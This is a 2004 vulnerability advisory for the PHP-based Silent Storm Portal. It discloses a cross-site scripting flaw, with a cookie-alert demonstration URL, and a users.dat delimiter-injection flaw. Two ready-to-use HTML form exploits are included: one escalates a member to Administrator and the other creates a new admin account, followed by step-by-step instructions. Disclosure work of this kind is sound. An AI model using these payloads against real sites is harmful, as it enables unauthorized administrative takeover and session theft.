Multiple Vulnerabilities in Silent Storm Portal

[R00tCr4ck <root () cyberspy org>]

#####################################
# CHT Security Research-2004        #
# http://www.CyberSpy.Org           #
# Turkey                            #
#####################################

Software:
Silent Storm Portal

Web Site:
http://www.silent-storm.co.uk/ssp/

Affected Version(s):
2.1,2.2

Description:
Silent Storm Portal is a PHP based portal system.It requires PHP4 or above.no MySQL needed.

Multiple Vulnerabilities in Silent Storm Portal:

Cross-Site Scripting vulnerability : 

Silent Storm Portal is prone to cross-site scripting attacks. It is possible to construct a link containing arbitrary 
script code to a website running Silent Storm Portal . When a user browses the link, the script code will be executed 
on the user in the context of the site using the Portal.The impact of this issue is that the attacker is able to hijack 
a legitimate web user's session, by stealing cookie-based authentication credentials.

Demonstration:

http://www.victim.com/index.php?module=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E


Unauthorized Administrative Access Vulnerability :

Silent Storm Portal stores all account informations,usernames and passwords in the users.dat file.This file is a 
plaintext file stored in the db directory.There is a flaw in profile.php file which could allow normal members to gain 
escalated privileges.The issue occurs due to insufficient sanitization of user-supplied data that may allow escape 
character sequences to be injected into the users.dat file.Submitting an e-mail address with an evil level code via 
profile module will inject Administrator level value into the database file and will escalate the current level to 
Administrator privileges.

Demonstration:

Register a user account then login and run the exploit.html

---exploit.html----
<form method="post" action="http://www.victim.com/index.php?module=../../profile";>
<input type="text" name="mail" value="any () mail com"><br>
<input type="hidden" name="mail" value="<~>1<~>">
<input type="submit" name="post" value="Get Admin!">
</form>
---/exploit.html---

That's All!
What Happened?
The 3rd line of exploit.html injected Administrator level "1" into the database file.
( 1: Administrator,2: is Normal User. )

examples from the database file:

before exploiting:

evilaccount<~>password<~>any () mail com<~>2<~><~><~><~><~>
                                      Level
                                   Normal User
after exploiting:

evilaccount<~>password<~>any () mail com<~>1<~><~>2<~><~><~><~><~><~><~>
                                 Injected Level
                                  Administrator

You'll get "Updated Your Profile Sucessfuly !" message after executing the exploit.html
That's All! logout and re-login with your username/password.
click to "Admin Panel" link. ( index.php?module=../../apanel )
Now you have full Administrator privileges.

Here is another code that creates an Administrator account directly on the victim's portal:

---exploit2.html----
<form method="post" action="http://www.victim.com/index.php?module=../../Home";>
User:<input type="text" name="usr" size="10"><br>
Pass:<input type="password" name="pas" size="10"><br>
<input type=hidden name="ema" value="any () mail com<~>1<~>"><br>
<input type="submit" name="reg" value="Create Admin!">
</form>
---/exploit2.html---

----------------------------
The original article can be found at: 
http://www.CyberSpy.Org
(Turkish Language)